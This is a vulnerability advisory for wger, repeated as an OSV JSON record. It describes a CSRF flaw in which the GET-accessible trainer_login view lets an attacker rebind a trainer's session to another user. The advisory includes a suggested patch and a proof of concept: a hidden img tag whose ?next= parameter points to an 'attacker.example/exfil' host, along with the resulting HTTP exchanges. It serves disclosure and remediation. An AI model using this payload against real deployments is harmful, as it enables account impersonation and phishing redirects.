GHSA-XF64-4PMC-H8QF

Vulnerability from github – Published: 2026-10-07 13:45 – Updated: 2026-10-07 13:45
VLAI
Summary
wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding
Details

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint: - GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "wger"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T13:45:33Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe `trainer_login` view in wger accepts GET requests and executes `django_login()` without any CSRF protection, because Django\u0027s `CsrfViewMiddleware` only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single `\u003cimg\u003e` tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer\u0027s session to an arbitrary user account.\n\n### Details\n\n**File**: `wger/core/views/user.py`, approximately lines 161-210\n\n```python\n# VULNERABLE - no @require_POST, no request.method == \u0027POST\u0027 guard\n# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to\n# unsafe HTTP methods (POST, PUT, PATCH, DELETE)\ndef trainer_login(request, user_pk):\n    ...\n    django_login(request, user, backend=\u0027django.contrib.auth.backends.ModelBackend\u0027)\n    return HttpResponseRedirect(...)\n```\n\nBecause the view handles GET, Django\u0027s CSRF middleware does not validate any token. An attacker can place `\u003cimg src=\"https://wger.target/en/user/2/trainer-login\"\u003e` on any web page. When an authenticated trainer\u0027s browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes `django_login()` and issues a new session cookie binding the trainer to the victim user.\n\nPlaywright-verified in Chromium 147: the SameSite bypass occurs via a `?next=` redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server\u0027s `302 -\u003e /user/login?next=...` redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.\n\n**Affected endpoint**:\n- `GET /en/user/\u003cuser_pk\u003e/trainer-login` -\u003e `wger.core.views.user.trainer_login`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n+from django.views.decorators.http import require_POST\n+\n @login_required()\n+@require_POST\n def trainer_login(request, user_pk):\n     ...\n-    # Move ?next= handling to POST body - never use GET params for\n-    # security-sensitive redirects\n+    next_url = request.POST.get(\u0027next\u0027, reverse(\u0027core:index\u0027))\n+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):\n+        next_url = reverse(\u0027core:index\u0027)\n     return HttpResponseRedirect(next_url)\n```\n\nRequiring POST ensures Django\u0027s CSRF middleware validates the `csrfmiddlewaretoken` on every impersonation request, eliminating the CSRF vector. Moving `next` to the POST body also removes the open-redirect surface (submitted separately).\n\n### PoC\n\nTested on `wger/server:latest` Docker image + Playwright/Chromium 147. Victim: `trainer1` (`gym.gym_trainer` permission).\n\nStep 1 - Attacker hosts malicious page:\n\n```html\n\u003c!-- evil.html --\u003e\n\u003cimg src=\"http://target/en/user/2/trainer-login?next=//attacker.example/exfil\"\n     width=\"1\" height=\"1\"\u003e\n```\n\nStep 2 - Authenticated trainer loads evil.html. Browser auto-issues:\n\n```\nGET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n(no CSRF token required)\n```\n\nStep 3 - Server responds:\n\n```\nHTTP/1.1 302 Found\nLocation: //attacker.example/exfil\nSet-Cookie: sessionid=[alice_session]   \u003c- session rebound to alice\n```\n\nStep 4 - Confirm impersonation:\n\n```\nGET /api/v2/userprofile/ HTTP/1.1\nCookie: sessionid=[alice_session]\n\n-\u003e 200 OK: {\"username\":\"alice\",...}\n```\n\nReproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server\u0027s own `?next=` redirect chain.\n\n### Impact\n\nAn attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer\u0027s session to any user account in the gym - without the trainer\u0027s awareness or consent. The trainer\u0027s browser is then operating as the victim user. Combined with the `?next=` parameter, the post-impersonation redirect can send the trainer to the attacker\u0027s domain, amplifying phishing and credential-harvesting attacks.\n\nThis CSRF primitive is the delivery vector that unlocks the `trainer_login` scope bypass (separate submission) without requiring the attacker to compromise the trainer\u0027s credentials directly.\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` is delegated to non-admin users.\n\n**Severity**: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker\u0027s origin via redirect).",
  "id": "GHSA-xf64-4pmc-h8qf",
  "modified": "2026-10-07T13:45:34Z",
  "published": "2026-10-07T13:45:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/security/advisories/GHSA-xf64-4pmc-h8qf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wger-project/wger"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wger-project/wger/releases/tag/2.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…